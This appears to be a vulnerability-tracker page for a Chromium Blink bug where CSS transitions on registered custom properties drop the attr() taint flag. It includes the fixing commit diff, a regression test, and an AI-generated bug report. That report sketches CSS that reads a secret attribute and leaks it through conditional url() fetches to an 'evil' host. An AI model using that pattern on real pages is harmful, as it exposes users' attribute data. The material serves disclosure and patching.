Medium watch CVSS 6.5 chrome Info Disclosure 📄 Reporter bug report 🔧 Commit mapped

Overview

Medium
Severity
6.5
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactInformation leak in Animation
DescriptionInformation leak in Animation
ComponentAnimation
Bug ClassInfo Disclosure
Action tierwatch — information disclosure — security-relevant, below the RCE-class bar
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Tracker517746687
Fix commit761a8bf37f3d (chromium/src) +129/-32
CWECWE-200 (Information exposure)
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
CISA KEVNot listed
CreditedGoogle
Reported2026-05-29 (per vendor advisory)
Fix landed2026-07-20 (public git)
Disclosed2026-08-25
Patch gap36 days — fix public in source before the advisory

Background

`attr()` tainting
Blink marks CSS values derived from DOM attributes via attr() as “attr-tainted” (CSSVariableData::IsAttrTainted()) so that potentially sensitive attribute data cannot be exfiltrated through side channels such as url() fetches or if(style()) queries.
Custom property transition
A CSS transition on a registered custom property (e.g. @property --n) that produces interpolated intermediate values through the animation pipeline (TransitionKeyframe, TransitionInterpolation, CSSInterpolationType).
Interpolable vs. discrete transition
An interpolable transition numerically blends start and end values, whereas a discrete transition swaps between them; the pre-patch code only computed the taint flag on the discrete/early-exit path.
`if(style())` disclosure vector
A conditional style query (background-image: if(style(--n: 42): url(...))) can turn the presence of a particular computed value into an observable network request, so an untainted attribute value becomes exfiltratable.

Root Cause Analysis

Before the patch, is_attr_tainted in css_animations.cc was computed only inside the if (!start || !end) block — i.e. only when the transition fell back to the discrete CSSDefaultNonInterpolableValue path. For a normal interpolable custom-property transition, start and end were both present, so that block was skipped and is_attr_tainted stayed false, “laundering” away the taint even though the underlying attr()-derived value was still flowing through the interpolation. The interpolated value was then applied via CSSInterpolationType::ApplyCustomPropertyValue() with only StyleBuilder::ValueMode::kAnimated, never kAttrTainted, so the resulting computed custom-property value was no longer marked tainted and could be probed with if(style()).

The fix hoists the is_attr_tainted computation to the common path (before the !start || !end check), stores it on both the start and end TransitionKeyframes via SetIsAttrTainted(), threads it through TransitionInterpolation into CSSInterpolationEnvironment::SetIsAttrTainted(), and finally re-applies the kAttrTainted value-mode flag in ApplyCustomPropertyValue() so the interpolated result stays tainted.

Key insight
The taint flag was computed on a branch (discrete/early-exit) that interpolable transitions never take, so interpolated custom-property values silently lost their attr() taint; the fix moves the computation to the shared path and propagates the flag all the way through the keyframe/interpolation pipeline to the final StyleBuilder::ApplyProperty() call.

Attack Path

  1. Register a tainted custom property The page declares @property --n { syntax: "<number>" } and sets --n: attr(data-foo type(<number>)), so --n’s value derives from an attacker/observer-relevant DOM attribute and is attr-tainted at rest.
  2. Trigger an interpolable transition Using transition: --n ... together with @starting-style, the value transitions from 0 toward the attr()-derived value, forcing an interpolable transition where both start and end are non-null.
  3. Launder the taint Because is_attr_tainted was only set on the !start || !end branch, the interpolated --n is applied through ApplyCustomPropertyValue() without kAttrTainted, producing an untainted computed value.
  4. Observe the value via `if(style())` The page uses background-image: if(style(--n: 42): url(...)) (or a range query style(--n >= 40)); since the value is no longer tainted, the guarded url() is allowed to fetch, converting the attribute value into an observable network request. (inferred: exact exfiltration channel beyond the url() fetch in the shipped test.)

Impact Assessment

An attacker-controlled page can read back the computed value of an attr()-derived custom property that should have been quarantined, defeating the attr() security boundary and enabling information disclosure of attribute-sourced data within the renderer/CSS engine. The advisory classifies this as an information leak in Animation with no statement of in-the-wild exploitation; any escalation beyond disclosure of the tainted value is (inferred). Preconditions are purely content-driven: the page must define a registered custom property fed by attr() and an interpolable transition on it, both achievable from untrusted web content.

Changed Functions

FunctionChangeNotes
if
third_party/blink/renderer/core/animation/css/css_animations.cc
modified
compositor_end_
third_party/blink/renderer/core/animation/transition_interpolation.h
modified
is_attr_tainted_
third_party/blink/renderer/core/animation/transition_interpolation.h
modified
compositor_value_
third_party/blink/renderer/core/animation/transition_keyframe.h
modified
is_attr_tainted_
third_party/blink/renderer/core/animation/transition_keyframe.h
modified

Files Changed

  • third_party/blink/renderer/core/animation/transition_interpolation.cc
  • third_party/blink/renderer/core/animation/css_interpolation_environment.h
  • third_party/blink/renderer/core/animation/transition_keyframe.cc
  • third_party/blink/renderer/core/animation/css_default_interpolation_type.h
  • third_party/blink/web_tests/external/wpt/css/css-values/attr-security-transition-interpolated.html
  • third_party/blink/renderer/core/animation/transition_keyframe.h
  • third_party/blink/renderer/core/animation/css/css_animations.cc
  • third_party/blink/renderer/core/animation/transition_interpolation.h
  • third_party/blink/renderer/core/animation/css_interpolation_type.cc
  • third_party/blink/renderer/core/animation/css_interpolation_type.h

Audit Directions

  • Taint computed on a subset of branches
    Audit any security/taint flag (attr taint, opaqueness, cross-origin markers) that is set inside a conditional early-exit block; verify it is also computed on the primary/common path so alternate code paths cannot launder it away.
  • Flag not propagated across pipeline boundaries
    Follow taint or provenance flags through every hop of the animation/interpolation pipeline (keyframe → interpolation → environment → StyleBuilder::ApplyProperty), since a value that is re-serialized or re-applied can drop metadata unless each stage explicitly forwards it.
  • `if(style())` and `url()` disclosure sinks
    Look for other computed-value producers (animations, env(), container queries, math functions) that feed values observable through if(style()) or conditional url() fetches, and confirm attr-tainted inputs remain tainted through those producers.
From 761a8bf37f3d6974d6998604c1bfa807f6082b99 Mon Sep 17 00:00:00 2001
From: Kevin Babbitt <kbabbitt@microsoft.com>
Date: Mon, 20 Jul 2026 11:56:33 -0700
Subject: [PATCH] Propagate attr() taint through interpolable custom property transitions

For custom property transitions, we were calculating is_attr_tainted
only in discrete transition cases. This allowed the flag to be laundered
away in interpolable transitions.

This CL factors is_attr_tainted computation onto the common path and
propagates it through the pipeline for interpolable transitions.

Fixed: 517746687
Change-Id: I07a965b29838567d746fa48cb270c74c2bbdd6aa
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8102417
Reviewed-by: Kevin Ellis <kevers@chromium.org>
Commit-Queue: Kevin Babbitt <kbabbitt@microsoft.com>
Cr-Commit-Position: refs/heads/main@{#1664831}
---
diff --git a/third_party/blink/renderer/core/animation/css/css_animations.cc b/third_party/blink/renderer/core/animation/css/css_animations.cc
index 5b90ab3..5104af07 100644
--- a/third_party/blink/renderer/core/animation/css/css_animations.cc
+++ b/third_party/blink/renderer/core/animation/css/css_animations.cc
@@ -2660,6 +2660,18 @@
   }
 
   bool is_attr_tainted = false;
+  if (property.IsCSSCustomProperty()) {
+    const Document& document = state.animating_element.GetDocument();
+    CSSPropertyName property_name = property.GetCSSPropertyName();
+    CSSPropertyRef custom_ref(&property_name, document);
+    CSSVariableData* old_data = state.old_style.GetVariableData(
+        property.CustomPropertyName(), custom_ref.GetProperty().IsInherited());
+    CSSVariableData* new_data = after_change_style.GetVariableData(
+        property.CustomPropertyName(), custom_ref.GetProperty().IsInherited());
+    is_attr_tainted = (old_data && old_data->IsAttrTainted()) ||
+                      (new_data && new_data->IsAttrTainted());
+  }
+
   if (!start || !end) {
     const Document& document = state.animating_element.GetDocument();
     const CSSValue* start_css_value =
@@ -2691,18 +2703,6 @@
       // correctly. If that bug is fixed, then this should never happen.
       return;
     }
-    if (property.IsCSSCustomProperty()) {
-      CSSPropertyName property_name = property.GetCSSPropertyName();
-      CSSPropertyRef custom_ref(&property_name, document);
-      CSSVariableData* old_data = state.old_style.GetVariableData(
-          property.CustomPropertyName(),
-          custom_ref.GetProperty().IsInherited());
-      CSSVariableData* new_data = after_change_style.GetVariableData(
-          property.CustomPropertyName(),
-          custom_ref.GetProperty().IsInherited());
-      is_attr_tainted = (old_data && old_data->IsAttrTainted()) ||
-                        (new_data && new_data->IsAttrTainted());
-    }
     start = InterpolationValue(
         MakeGarbageCollected<InterpolableList>(0),
         MakeGarbageCollected<CSSDefaultNonInterpolableValue>(
@@ -2776,6 +2776,7 @@
       transition_type, start.interpolable_value->Clone(),
       start.non_interpolable_value));
   start_keyframe->SetOffset(0);
+  start_keyframe->SetIsAttrTainted(is_attr_tainted);
   keyframes.push_back(start_keyframe);
 
   TransitionKeyframe* end_keyframe =
@@ -2784,6 +2785,7 @@
       transition_type, end.interpolable_value->Clone(),
       end.non_interpolable_value));
   end_keyframe->SetOffset(1);
+  end_keyframe->SetIsAttrTainted(is_attr_tainted);
   keyframes.push_back(end_keyframe);
 
   if (property.GetCSSProperty().IsCompositableProperty() &&
diff --git a/third_party/blink/renderer/core/animation/css_default_interpolation_type.h b/third_party/blink/renderer/core/animation/css_default_interpolation_type.h
index 6e78560..70f1838 100644
--- a/third_party/blink/renderer/core/animation/css_default_interpolation_type.h
+++ b/third_party/blink/renderer/core/animation/css_default_interpolation_type.h
@@ -32,11 +32,8 @@
 
  private:
   Member<const CSSValue> css_value_;
-  // Currently, only non-interpolable <string> types can be used within <url>
-  // types in CSS. If interpolable types (e.g., <integer>) become usable within
-  // <url> types in the future (perhaps via a hypothetical 'concat()' function),
-  // we will need to add an `is_attr_tainted_` flag to other InterpolableValue
-  // types as well.
+  // Interpolable types (e.g., <number>) are handled via TransitionKeyframe and
+  // CSSInterpolationEnvironment::IsAttrTainted() instead.
   bool is_attr_tainted_;
 };
 
diff --git a/third_party/blink/renderer/core/animation/css_interpolation_environment.h b/third_party/blink/renderer/core/animation/css_interpolation_environment.h
index 838c1b84..28d983d 100644
--- a/third_party/blink/renderer/core/animation/css_interpolation_environment.h
+++ b/third_party/blink/renderer/core/animation/css_interpolation_environment.h
@@ -80,6 +80,14 @@
                           const CSSValue*,
                           const TreeScope*) const;
 
+  // Set by the caller of InterpolationType::Apply when one of the values
+  // being interpolated originated from attr(), so that the applied value can
+  // be marked as attr-tainted.
+  bool IsAttrTainted() const { return is_attr_tainted_; }
+  void SetIsAttrTainted(bool is_attr_tainted) {
+    is_attr_tainted_ = is_attr_tainted;
+  }
+
  private:
   const InterpolationTypesMap& interpolation_types_map_;
   StyleResolverState* state_ = nullptr;
@@ -87,6 +95,7 @@
   const ComputedStyle* animation_controls_style_ = nullptr;
   StyleCascade* cascade_ = nullptr;
   CascadeResolver* cascade_resolver_ = nullptr;
+  bool is_attr_tainted_ = false;
 };
 
 }  // namespace blink
diff --git a/third_party/blink/renderer/core/animation/css_interpolation_type.cc b/third_party/blink/renderer/core/animation/css_interpolation_type.cc
index ee7a47b..eadc81c 100644
--- a/third_party/blink/renderer/core/animation/css_interpolation_type.cc
+++ b/third_party/blink/renderer/core/animation/css_interpolation_type.cc
@@ -434,7 +434,8 @@
   StyleResolverState& state = environment.GetState();
 
   if (GetProperty().IsCSSCustomProperty()) {
-    ApplyCustomPropertyValue(interpolable_value, non_interpolable_value, state);
+    ApplyCustomPropertyValue(interpolable_value, non_interpolable_value,
+                             environment);
     return;
   }
 
@@ -451,16 +452,22 @@
 void CSSInterpolationType::ApplyCustomPropertyValue(
     const InterpolableValue& interpolable_value,
     const NonInterpolableValue* non_interpolable_value,
-    StyleResolverState& state) const {
+    CSSInterpolationEnvironment& environment) const {
   DCHECK(GetProperty().IsCSSCustomProperty());
 
+  StyleResolverState& state = environment.GetState();
   const CSSValue* css_value =
       CreateCSSValue(interpolable_value, non_interpolable_value, state);
   DCHECK(!css_value->IsUnparsedDeclaration());
+  CSSProperty::ValueModeFlags value_mode_flags =
+      static_cast<CSSProperty::ValueModeFlags>(
+          StyleBuilder::ValueMode::kAnimated);
+  if (environment.IsAttrTainted()) {
+    value_mode_flags |= static_cast<CSSProperty::ValueModeFlags>(
+        StyleBuilder::ValueMode::kAttrTainted);
+  }
   StyleBuilder::ApplyProperty(GetProperty().GetCSSPropertyName(), state,
-                              *css_value,
-                              static_cast<CSSProperty::ValueModeFlags>(
-                                  StyleBuilder::ValueMode::kAnimated));
+                              *css_value, value_mode_flags);
 }
 
 }  // namespace blink
diff --git a/third_party/blink/renderer/core/animation/css_interpolation_type.h b/third_party/blink/renderer/core/animation/css_interpolation_type.h
index f12563c..75e36bc 100644
--- a/third_party/blink/renderer/core/animation/css_interpolation_type.h
+++ b/third_party/blink/renderer/core/animation/css_interpolation_type.h
@@ -117,7 +117,7 @@
 
   void ApplyCustomPropertyValue(const InterpolableValue&,
                                 const NonInterpolableValue*,
-                                StyleResolverState&) const;
+                                CSSInterpolationEnvironment&) const;
 
   WeakMember<const PropertyRegistration> registration_;
 };
diff --git a/third_party/blink/renderer/core/animation/transition_interpolation.cc b/third_party/blink/renderer/core/animation/transition_interpolation.cc
index 8c91f74..6cb0a9f 100644
--- a/third_party/blink/renderer/core/animation/transition_interpolation.cc
+++ b/third_party/blink/renderer/core/animation/transition_interpolation.cc
@@ -7,6 +7,7 @@
 #include <memory>
 
 #include "third_party/blink/renderer/core/animation/css/compositor_keyframe_value.h"
+#include "third_party/blink/renderer/core/animation/css_interpolation_environment.h"
 #include "third_party/blink/renderer/core/animation/typed_interpolation_value.h"
 
 namespace blink {
@@ -49,6 +50,7 @@
 
 void TransitionInterpolation::Apply(
     CSSInterpolationEnvironment& environment) const {
+  environment.SetIsAttrTainted(is_attr_tainted_);
   type_->Apply(CurrentInterpolableValue(), CurrentNonInterpolableValue(),
                environment);
 }
diff --git a/third_party/blink/renderer/core/animation/transition_interpolation.h b/third_party/blink/renderer/core/animation/transition_interpolation.h
index 8b1a8ab..b9ca6fb 100644
--- a/third_party/blink/renderer/core/animation/transition_interpolation.h
+++ b/third_party/blink/renderer/core/animation/transition_interpolation.h
@@ -47,14 +47,16 @@
                           InterpolationValue&& start,
                           InterpolationValue&& end,
                           CompositorKeyframeValue* compositor_start,
-                          CompositorKeyframeValue* compositor_end)
+                          CompositorKeyframeValue* compositor_end,
+                          bool is_attr_tainted = false)
       : property_(property),
         type_(type),
         start_(std::move(start)),
         end_(std::move(end)),
         merge_(type->MaybeMergeSingles(start_.Clone(), end_.Clone())),
         compositor_start_(compositor_start),
-        compositor_end_(compositor_end) {
+        compositor_end_(compositor_end),
+        is_attr_tainted_(is_attr_tainted) {
     // Incredibly speculative CHECKs, to try and get any insight on
     // crbug.com/826627. Somehow a crash is happening in this constructor, which
     // we believe is based on |start_| having no interpolable value. However a
@@ -108,6 +110,7 @@
   const PairwiseInterpolationValue merge_;
   const Member<CompositorKeyframeValue> compositor_start_;
   const Member<CompositorKeyframeValue> compositor_end_;
+  const bool is_attr_tainted_;
 
   mutable std::optional<double> cached_fraction_;
   mutable int cached_iteration_ = 0;
diff --git a/third_party/blink/renderer/core/animation/transition_keyframe.cc b/third_party/blink/renderer/core/animation/transition_keyframe.cc
index fd82577..7f4d7d2 100644
--- a/third_party/blink/renderer/core/animation/transition_keyframe.cc
+++ b/third_party/blink/renderer/core/animation/transition_keyframe.cc
@@ -97,8 +97,8 @@
   EffectModel::CompositeOperation composite =
       composite_.value_or(effect_composite);
   return MakeGarbageCollected<PropertySpecificKeyframe>(
-      CheckedOffset(), &Easing(), composite, value_->Clone(),
-      compositor_value_);
+      CheckedOffset(), &Easing(), composite, value_->Clone(), compositor_value_,
+      is_attr_tainted_);
 }
 
 Interpolation*
@@ -110,8 +110,8 @@
   DCHECK(value_->GetType() == other.value_->GetType());
   return MakeGarbageCollected<TransitionInterpolation>(
       property, value_->GetType(), value_->Value().Clone(),
-      other.value_->Value().Clone(), compositor_value_,
-      other.compositor_value_);
+      other.value_->Value().Clone(), compositor_value_, other.compositor_value_,
+      is_attr_tainted_ || other.is_attr_tainted_);
 }
 
 void TransitionKeyframe::PropertySpecificKeyframe::Trace(
diff --git a/third_party/blink/renderer/core/animation/transition_keyframe.h b/third_party/blink/renderer/core/animation/transition_keyframe.h
index 0e3b2fd..8949a53 100644
--- a/third_party/blink/renderer/core/animation/transition_keyframe.h
+++ b/third_party/blink/renderer/core/animation/transition_keyframe.h
@@ -51,7 +51,8 @@
                  copy_from.composite_,
                  copy_from.easing_),
         value_(copy_from.value_->Clone()),
-        compositor_value_(copy_from.compositor_value_) {}
+        compositor_value_(copy_from.compositor_value_),
+        is_attr_tainted_(copy_from.is_attr_tainted_) {}
 
   void SetValue(TypedInterpolationValue* value) {
     // Speculative CHECK to help investigate crbug.com/826627. The theory is
@@ -63,6 +64,9 @@
     value_ = value;
   }
   void SetCompositorValue(CompositorKeyframeValue*);
+  void SetIsAttrTainted(bool is_attr_tainted) {
+    is_attr_tainted_ = is_attr_tainted;
+  }
   void AddKeyframePropertiesToV8Object(V8ObjectBuilder&,
                                        Element*) const override;
 
@@ -74,12 +78,14 @@
                              scoped_refptr<TimingFunction> easing,
                              EffectModel::CompositeOperation composite,
                              TypedInterpolationValue* value,
-                             CompositorKeyframeValue* compositor_value)
+                             CompositorKeyframeValue* compositor_value,
+                             bool is_attr_tainted)
         : Keyframe::PropertySpecificKeyframe(offset,
                                              std::move(easing),
                                              composite),
           value_(value),
-          compositor_value_(compositor_value) {}
+          compositor_value_(compositor_value),
+          is_attr_tainted_(is_attr_tainted) {}
 
     const CompositorKeyframeValue* GetCompositorKeyframeValue() const final {
       return compositor_value_.Get();
@@ -108,6 +114,7 @@
    private:
     Member<TypedInterpolationValue> value_;
     Member<CompositorKeyframeValue> compositor_value_;
+    bool is_attr_tainted_;
   };
 
  private:
@@ -128,6 +135,7 @@
 
   Member<TypedInterpolationValue> value_;
   Member<CompositorKeyframeValue> compositor_value_;
+  bool is_attr_tainted_ = false;
 };
 
 using TransitionPropertySpecificKeyframe =
diff --git a/third_party/blink/web_tests/external/wpt/css/css-values/attr-security-transition-interpolated.html b/third_party/blink/web_tests/external/wpt/css/css-values/attr-security-transition-interpolated.html
new file mode 100644
index 0000000..8babdc4
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/css/css-values/attr-security-transition-interpolated.html
@@ -0,0 +1,69 @@
+<!DOCTYPE html>
+<title>CSS Values and Units Test: attr() security limitations</title>
+<link rel="help" href="https://drafts.csswg.org/css-values-5/#attr-security">
+<script src="/resources/testharness.js"></script>
+<script src="/resources/testharnessreport.js"></script>
+
+<style>
+  @property --n {
+    syntax: "<number>";
+    inherits: false;
+    initial-value: 0;
+  }
+  @property --p {
+    syntax: "<length>";
+    inherits: false;
+    initial-value: 0px;
+  }
+  #attr1 {
+    --n: attr(data-foo type(<number>));
+    transition: --n 1000s steps(1, start);
+    background-image: if(style(--n: 42): url(https://does-not-exist.test/404.png); else: none);
+  }
+  @starting-style {
+    #attr1 { --n: 0; }
+  }
+  #attr2 {
+    --n: attr(data-foo type(<number>));
+    transition: --n 1000s steps(1, start);
+    background-image: if(style(--n >= 40): url(https://does-not-exist.test/404.png); else: none);
+  }
+  @starting-style {
+    #attr2 { --n: 0; }
+  }
+  #attr3 {
+    --p: attr(data-foo type(<length>));
+    transition: --p 1000s steps(1, start);
+    background-image: if(style(--p: 42px): url(https://does-not-exist.test/404.png); else: none);
+  }
+  @starting-style {
+    #attr3 { --p: 0px; }
+  }
+</style>
+
+<html>
+  <body>
+    <div id="attr1" data-foo="42">div</div>
+    <div id="attr2" data-foo="42">div</div>
+    <div id="attr3" data-foo="42px">div</div>
+  </body>
+</html>
+
+<script>
+    test(() => {
+      var elem = document.getElementById("attr1");
+      assert_equals(window.getComputedStyle(elem).getPropertyValue("--n"), '42');
+      assert_equals(window.getComputedStyle(elem).getPropertyValue("background-image"), 'none');
+    }, `Transitioning <number> from attr() should remain attr-tainted in if(style())`);
+
+    test(() => {
+      var elem = document.getElementById("attr2");
+      assert_equals(window.getComputedStyle(elem).getPropertyValue("background-image"), 'none');
+    }, `Transitioning <number> from attr() should remain attr-tainted in if(style()) range query`);
+
+    test(() => {
+      var elem = document.getElementById("attr3");
+      assert_equals(window.getComputedStyle(elem).getPropertyValue("--p"), '42px');
+      assert_equals(window.getComputedStyle(elem).getPropertyValue("background-image"), 'none');
+    }, `Transitioning <length> from attr() should remain attr-tainted in if(style())`);
+</script>
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/third_party/blink/web_tests/external/wpt/css/css-values/attr-security-transition-interpolated.html b/third_party/blink/web_tests/external/wpt/css/css-values/attr-security-transition-interpolated.html
new file mode 100644
index 0000000..8babdc4
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/css/css-values/attr-security-transition-interpolated.html
@@ -0,0 +1,69 @@
+<!DOCTYPE html>
+<title>CSS Values and Units Test: attr() security limitations</title>
+<link rel="help" href="https://drafts.csswg.org/css-values-5/#attr-security">
+<script src="/resources/testharness.js"></script>
+<script src="/resources/testharnessreport.js"></script>
+
+<style>
+  @property --n {
+    syntax: "<number>";
+    inherits: false;
+    initial-value: 0;
+  }
+  @property --p {
+    syntax: "<length>";
+    inherits: false;
+    initial-value: 0px;
+  }
+  #attr1 {
+    --n: attr(data-foo type(<number>));
+    transition: --n 1000s steps(1, start);
+    background-image: if(style(--n: 42): url(https://does-not-exist.test/404.png); else: none);
+  }
+  @starting-style {
+    #attr1 { --n: 0; }
+  }
+  #attr2 {
+    --n: attr(data-foo type(<number>));
+    transition: --n 1000s steps(1, start);
+    background-image: if(style(--n >= 40): url(https://does-not-exist.test/404.png); else: none);
+  }
+  @starting-style {
+    #attr2 { --n: 0; }
+  }
+  #attr3 {
+    --p: attr(data-foo type(<length>));
+    transition: --p 1000s steps(1, start);
+    background-image: if(style(--p: 42px): url(https://does-not-exist.test/404.png); else: none);
+  }
+  @starting-style {
+    #attr3 { --p: 0px; }
+  }
+</style>
+
+<html>
+  <body>
+    <div id="attr1" data-foo="42">div</div>
+    <div id="attr2" data-foo="42">div</div>
+    <div id="attr3" data-foo="42px">div</div>
+  </body>
+</html>
+
+<script>
+    test(() => {
+      var elem = document.getElementById("attr1");
+      assert_equals(window.getComputedStyle(elem).getPropertyValue("--n"), '42');
+      assert_equals(window.getComputedStyle(elem).getPropertyValue("background-image"), 'none');
+    }, `Transitioning <number> from attr() should remain attr-tainted in if(style())`);
+
+    test(() => {
+      var elem = document.getElementById("attr2");
+      assert_equals(window.getComputedStyle(elem).getPropertyValue("background-image"), 'none');
+    }, `Transitioning <number> from attr() should remain attr-tainted in if(style()) range query`);
+
+    test(() => {
+      var elem = document.getElementById("attr3");
+      assert_equals(window.getComputedStyle(elem).getPropertyValue("--p"), '42px');
+      assert_equals(window.getComputedStyle(elem).getPropertyValue("background-image"), 'none');
+    }, `Transitioning <length> from attr() should remain attr-tainted in if(style())`);
+</script>
Loading diff…

Original Bug Report

reported by vm...@google.com

CSS attr() taint laundering via smooth transitions on registered custom properties

Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.

Overview: A security bypass in Blink’s CSS animation logic allows smooth transitions on registered custom properties to launder the CSS attr() taint flag. When a numeric custom property is smoothly interpolated, the taint status is discarded, enabling potential CSS-only data exfiltration of sensitive DOM attributes via style queries.

Affected files:

  • third_party/blink/renderer/core/animation/css_interpolation_type.cc
  • third_party/blink/renderer/core/css/properties/longhands/custom_property.cc
  • third_party/blink/renderer/core/animation/css/css_animations.cc

Estimated timestamp from git blame: 2024-11-29

Root Cause Analysis

The security hardening designed to prevent CSS-only data exfiltration via attr() relies on marking the generated CSSVariableData with is_attr_tainted_ = true. Tainted custom properties cannot be evaluated in conditional queries (e.g., if(style(...)) or @container style(...)) without propagating the taint, which ultimately blocks URL resolution in ConsumeUrlAsToken (css_parsing_utils.cc).

While discrete transitions preserve and propagate the taint via CSSDefaultInterpolationType::Apply (which applies the ValueMode::kAttrTainted flag), smoothly interpolable custom properties (such as registered properties with <number> syntax) bypass this protection.

In third_party/blink/renderer/core/animation/css/css_animations.cc (lines 2659–2712), when a transition begins, if both the old and new values are smoothly interpolable, both start and end interpolation values are successfully resolved. This causes the discrete transition fallback block if (!start || !end) (line 2660) to be skipped. Consequently, the logic that computes is_attr_tainted for custom properties (lines 2691–2701) is never executed:

if (!start || !end) {
  ...
  if (property.IsCSSCustomProperty()) {
    is_attr_tainted = (old_data && old_data->IsAttrTainted()) ||
                      (new_data && new_data->IsAttrTainted());
  }
  ...
}

When the active transition interpolation is applied, CSSInterpolationType::ApplyCustomPropertyValue in third_party/blink/renderer/core/animation/css_interpolation_type.cc is invoked (lines 451–464). It calls StyleBuilder::ApplyProperty with only the ValueMode::kAnimated flag:

StyleBuilder::ApplyProperty(GetProperty().GetCSSPropertyName(), state,
                            *css_value,
                            static_cast<CSSProperty::ValueModeFlags>(
                                StyleBuilder::ValueMode::kAnimated));

Downstream in CustomProperty::ApplyValue (third_party/blink/renderer/core/css/properties/longhands/custom_property.cc), the applied value is a resolved numeric literal (e.g., CSSNumericLiteralValue) rather than a CSSUnparsedDeclarationValue. Therefore, the declaration pointer resolves to nullptr. The taint flag calculation (lines 216–219) resolves to false:

bool is_attr_tainted =
    (value_mode & static_cast<ValueModeFlags>(ValueMode::kAttrTainted)) ||
    (declaration && declaration->VariableDataValue() &&
     declaration->VariableDataValue()->IsAttrTainted());

As a result, a new, untainted CSSVariableData represents the custom property value on the ComputedStyle object, laundering the taint.

Potential Attack Scenario

An attacker could follow these suggested steps to exfiltrate sensitive DOM attributes:

  1. Register a numeric custom property via CSS:

    @property --n { syntax: "<number>"; inherits: false; initial-value: 0; }
    
  2. Bind the registered property to a target element’s sensitive numeric attribute using attr() and configure a transition:

    #victim {
      --n: attr(data-secret type(<number>));
      transition: --n 10s steps(1, start);
    }
    @starting-style { #victim { --n: 0; } }
    
  3. Use conditional CSS style queries to selectively resolve URLs depending on --n’s value:

    #victim {
      background-image:
        if(style(--n > 4096): url(//evil/gt4096); else: url(//evil/le4096));
    }
    
  4. Because the transition launders the taint, the conditional evaluation does not mark the resulting URL tokens as tainted, bypassing parser-level URL security checks and initiating the tracking requests.

Note: These steps are based on static analysis of the styling engine, as we do not currently have the environment to execute or run the proof of concept.

Suggested Fix

To remediate this issue, the styling engine must ensure that custom property transition/animation interpolation propagates the is_attr_tainted state during smooth transitions:

  1. Update the interpolation structures for registered custom properties to carry the is_attr_tainted flag inside their corresponding NonInterpolableValue sub-classes (resembling how CSSDefaultNonInterpolableValue tracks taint for discrete transitions).
  2. Inside CSSInterpolationType::ApplyCustomPropertyValue, extract the taint status from the NonInterpolableValue and propagate it as ValueMode::kAttrTainted inside the ValueModeFlags when invoking StyleBuilder::ApplyProperty.

Evaluated with Chrome root at commit: 5133b93d189b383c37805b1cf3a9d2dbfe8d7379


Results so far have been promising, but there can be wrong deductions. Feel free to adjust as follows:

  • If you are familiar with the severity guidelines, you may adjust the severity.
  • If this is a false positive, and there’s no work to be done, please close as WAI.
  • If there is work to do here but not a vulnerability, please change the issue type to Task/Bug/FR.

Data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

View on issue tracker